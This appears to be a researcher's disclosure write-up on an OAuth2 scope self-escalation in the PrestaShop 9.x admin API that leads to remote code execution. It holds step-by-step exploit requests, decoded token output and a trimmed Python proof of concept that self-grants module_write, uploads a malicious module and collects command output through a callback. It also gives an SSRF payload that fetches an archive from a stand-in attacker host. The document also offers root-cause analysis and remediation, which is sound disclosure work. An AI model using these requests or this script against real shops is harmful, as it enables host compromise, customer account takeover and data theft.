← ../ prestashop-admin-api-scope-privesc
chu@antisec:~/research$ cat prestashop-admin-api-scope-privesc
prestashop 9.x — admin api oauth2 scope self-escalation to rce
the admin api endpoint that creates and edits api clients accepts a client-controlled
scopes[]array and never checks that the caller is entitled to the scopes it is assigning. a credential holding onlyapi_client_write— the scope you hand to any marketplace, erp or saas integration — rewrites its own scope set to includemodule_write, mints a fresh oauth token that carries it, and reaches module upload, which is arbitrary php execution aswww-data. the same escalation yields customer account takeover (customer_write) and full ssrf (upload-source). no admin session involved — one leaked integration credential is enough.
resumo (pt-br): a admin-api (oauth2, client_credentials) permite que um
client de baixo privilégio se conceda escopos que não possui. a operação de criar/editar api clients —
guardada apenas pelo escopo api_client_write — grava no client um array
scopes totalmente controlado pelo chamador, sem verificar o que ele já detém. um token
que só tinha api_client_write cria um client com module_write, emite um token
para ele e chega a rce (instalar módulo = php rodando como www-data), takeover de contas
de clientes (customer_write) e ssrf full (upload-source). afeta
9.0.0–9.2.0; ≤ 8.2.x não afetadas.
the bug
a missing delegation checkprestashop 9 ships a new admin api at /admin-api, built on api platform 3,
oauth2 (client_credentials) and a cqrs command layer. every operation is pinned to one or
more scopes named {entity}_{operation} — product_read,
module_write, and so on. on a default install of 9.1.x/9.2.x the api is active
out-of-the-box and enforced over https only.
by design, confinement is enforced at two points: the oauth2 server confines each token to the
client's own stored scope list at issuance, and a listener checks the operation's required scope on
every request. the mechanism is sound. the defect is that the one operation which defines a
client's scope list — POST /admin-api/api-clients and
PATCH /admin-api/api-clients/{id} — is gated only by
api_client_write, an ordinary assignable scope, and nobody verifies that the
caller holds the scopes it is writing. classic cwe-269: improper privilege management.
// src/Core/Domain/ApiClient/Command/EditApiClientCommand.php:94
public function setScopes(?array $scopes): self
{
if (count($scopes) !== count(array_filter($scopes, 'is_string'))) {
throw new ApiClientConstraintException('Expected list of non empty string for scopes', ...);
}
$this->scopes = $scopes; // no check against the CALLER's own scopes
return $this;
}
two details make it worse instead of saving it. first, the submitted scopes are validated
downstream against the installed-scope catalogue (#[InstalledApiResourceScope]), so only
real, installed scopes can be assigned — but no layer checks whether the
caller holds them. that absent delegation check is the whole bug. second, the
request body is denormalized straight onto the cqrs command (an ObjectNormalizer without
ALLOW_EXTRA_ATTRIBUTES => false, the command itself being the input type), so the
scopes array in the json lands on setScopes() untouched — a textbook
mass-assignment sink, cwe-915.
at the next token request, ScopeRepository::finalizeScopes() confines the requested
scopes to the client's stored list — the very list the attacker just rewrote — so the escalation is
honored, and from then on every module_write check passes.
attack chain
api_client_write → www-datamodule_write is code execution by design: installing a prestashop module means
extracting an archive into the web-root modules/ directory and loading its php class, and
php runs top-level statements and the constructor immediately. the module manager even hard-codes an
allowance for any api client carrying module_write. the chain is four requests:
integration client admin api prestashop host
(api_client_write) │ │
│ │ │
│ POST /admin-api/access_token │ │
│ scope=api_client_write ─────────►│ token T0 (low-priv) │
│ │ │
│ POST /admin-api/api-clients │ │
│ scopes=[module_write,…] ────────►│ no delegation check: │
│ ◄──────── 201 {secret} ───────────│ scope list persisted as submitted │
│ │ │
│ POST /admin-api/access_token │ │
│ scope=module_write ─────────────►│ token T1 — finalized against the │
│ │ attacker-rewritten list │
│ POST /admin-api/modules/ │ │
│ upload-archive Bearer T1 ──►│── unzip into modules/ ─────────────►│
│ │ require() → php runs │
│ ◄──────── uid=1000(www-data) ─────────────────── code exec ───────────│
target below: a clean, default prestashop 9.2 install over real https, every request
through burp. starting point: a client provisioned for a low-trust integration with the single scope
api_client_write. the shop itself is untouched — the attack lives entirely in its admin api.
step 1 — a token with the only scope we hold.
POST /admin-api/access_token HTTP/1.1
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=api_client_write
api_client_write only.step 2 — the primary vulnerability: rewrite our own client's scope set. the server
answers 200 and echoes it back.
PATCH /admin-api/api-clients/1 HTTP/1.1
Authorization: Bearer <token from step 1>
Content-Type: application/json
{"scopes":["api_client_write","module_write","customer_write"]}
HTTP/1.1 200 OK
{ ... "scopes":["api_client_write","module_write","customer_write"] ... }
api_client_write rewrites its own scope set; http 200 echoing module_write + customer_write.step 3 — mint a fresh token; finalizeScopes now grants the self-assigned
scopes, and the decoded jwt proves the privilege boundary was crossed.
POST /admin-api/access_token
grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=module_write%20customer_write
{ "aud":"lowpriv", "scopes":["is_authenticated","module_write","customer_write"] }
step 4 — the same module upload is rejected for the low-priv token and accepted for the escalated one: a clean before/after on a single endpoint. the planted module's php runs on load and the command output comes back out-of-band.
POST /admin-api/modules/upload-archive (bearer low-priv) → 403 {"detail":"Invalid scope."}
POST /admin-api/modules/upload-archive (bearer escalated) → 201 {"technicalName":"pocmod…"}
# the module's php runs on load; output captured out-of-band:
RCE @ host :: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
the upload-source variant ({"source":"http://attacker/evil.zip"})
makes the server fetch the archive itself — full ssrf reaching internal services and cloud metadata — and
then executes the fetched module. customer_write reaches
POST /admin-api/customers to create or edit any customer with an attacker-chosen password.
poc
lab only · trimmedstandard library only, no dependencies; every request to the target is routed through an intercepting proxy and the script refuses to run without it. trimmed to the parts that matter — the full script ships with the advisory. run it only against an instance you own.
#!/usr/bin/env python3
# poc.py — prestashop admin api: oauth2 scope self-escalation → rce (>= 9.0.0)
# stdlib only. all target traffic goes through burp (default 127.0.0.1:8080);
# the script exits if the proxy listener is unreachable.
def jwt_scopes(token):
p = token.split(".")[1]; p += "=" * (-len(p) % 4)
return json.loads(base64.urlsafe_b64decode(p)).get("scopes", [])
def get_token(c, cid, secret, scope):
st, body = c.form("/admin-api/access_token", {
"grant_type": "client_credentials", "client_id": cid,
"client_secret": secret, "scope": scope})
try: return json.loads(body).get("access_token")
except Exception: return None
# stage 0 — a token with the only scope we hold
t0 = get_token(c, args.client_id, args.client_secret, "api_client_write")
# stage 1 — PRIMARY VULN: self-grant scopes we do not hold (create-based:
# api_client_write also reaches POST /api-clients, no numeric id needed)
esc_cid = "escpoc_%d" % int(time.time())
st, body = c.json_req("POST", "/admin-api/api-clients", {
"clientId": esc_cid, "clientName": "escpoc", "enabled": True,
"lifetime": 3600,
"scopes": ["api_client_write", "module_write", "customer_write"]}, token=t0)
new_secret = json.loads(body).get("secret") # 201 — nobody checked caller authority
t1 = get_token(c, esc_cid, new_secret, "module_write customer_write")
if "module_write" in jwt_scopes(t1):
print(">>> PRIVILEGE ESCALATION CONFIRMED: api_client_write -> module_write")
# stage 2 — module_write = code execution: before/after on one endpoint.
# the planted module writes its command output out-of-band on load.
zipb = build_module_zip("pocmod", proof, args.cmd, args.callback)
st, body = c.multipart("/admin-api/modules/upload-archive", t0, "archive", "poc.zip", zipb)
print(" low-priv upload -> HTTP", st) # 403 Invalid scope.
st, body = c.multipart("/admin-api/modules/upload-archive", t1, "archive", "poc.zip", zipb)
print(" escalated upload -> HTTP", st) # 201 = the module's php ran
# --callback serves a built-in listener: ">>> RCE CONFIRMED" as the web user
uid=1000(www-data).impact
what an attacker gets- remote code execution as the php user→ www-data, via module_write
- customer account takeover→ customer_write: create/edit any customer, chosen password
- full ssrf through module upload-source→ internal services, cloud metadata — then rce
- durable persistence→ self-granted fully-scoped client, legacy webservice key, tokens that cannot be revoked
- full store compromise→ catalogue, orders, customer pii, payment configuration
who is exposed: any 9.x shop where an integration, app or partner holds
api_client_write — and on 9.1.x/9.2.x the admin api is on out-of-the-box, so the only
prerequisite is that one credential. ≤ 8.2.x is not affected (no api-based client management). verified
dynamically on clean default installs of 9.1.4 (latest stable) and 9.2.0; the escalation itself also
proven on 9.0.0. since the api and the code it executes share the same
www-data authority, this scores cvss 3.1 8.8 high
(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — defensible as 9.9 critical with
S:C if the scope-to-os-code step is treated as a boundary crossing. a shop that grants an
integration the innocuous-looking api_client_write scope is effectively granting it code
execution on the host — a material gdpr/lgpd exposure.
disclosure timeline
coordinated · in progress- 2026-06-06 → 07discovery + lab validation found on 9.2.0, version sweep across 9.0.0–9.2.0, re-validated end-to-end on a clean default install over real https — all traffic through burp.
- 2026-06-08reported (private)
coordinated report to the prestashop security team
(
security-core@prestashop.com) with the advisory, root-cause references and remediation guidance, per the project's security policy. - pendingvendor triage
ghsa/cve registration and confirmation — the identifier on this page stays
reserveduntil the vendor assigns one. - pendingfix released + cve assigned patched versions at time of report: none. fixes ship in the latest release only, per the project's policy; no fixed release exists yet.
- pendingpublic disclosure
this page is complete and staged, but stays flagged
draftuntil the fix is public — then the full detail above goes live unredacted.
remediation
for devs + merchantsif you build an api that hands out capabilities
- add the delegation check: when creating or editing a client, reject any requested scope the authenticated caller does not itself hold or is not authorized to delegate. validating against the scope catalogue alone is necessary but not sufficient.
- never let a principal assign privileges it doesn't hold. consider gating client management behind a dedicated administrative scope that itself cannot be self-assigned.
- disable mass assignment:
ALLOW_EXTRA_ATTRIBUTES => falseand/or explicit input dtos with an allow-list, instead of binding the request body straight onto a command. - make scope checks deny-by-default: an operation that declares no scopes must not be reachable by any token, and a ci lint should fail any operation lacking a non-empty scope set.
- enforce
enabledwhen resolving clients, and implement real token revocation — a disabled client must not keep minting working tokens. - treat module installation as a separate, high-trust capability: dedicated scope, unreachable by self-grant, and consider module signing.
if you run a prestashop 9.x shop today
- treat
api_client_writeas an administrative privilege and withhold it from third-party integrations until a fixed release ships. - audit
ps_api_client.scopesfor clients whose scope set exceeds what their creator intended — especially any low-trust client now holdingmodule_write,customer_writeorwebservice_key_write— and rotate anything you didn't create yourself. - keep integration secrets in a secret manager, not in a spreadsheet named
senhas-final-v3. the client secret is shown once at creation and then lives in the integration's config; it leaks through git, ci logs, screenshots and support tickets. - alert on
PATCH/POSTto/api-clientsthat changesscopes, especially when followed by a module upload. that one log line catches this class. - upgrade to the fixed release as soon as it is available, and re-audit every api client afterwards — scopes self-granted before the patch do not un-grant themselves.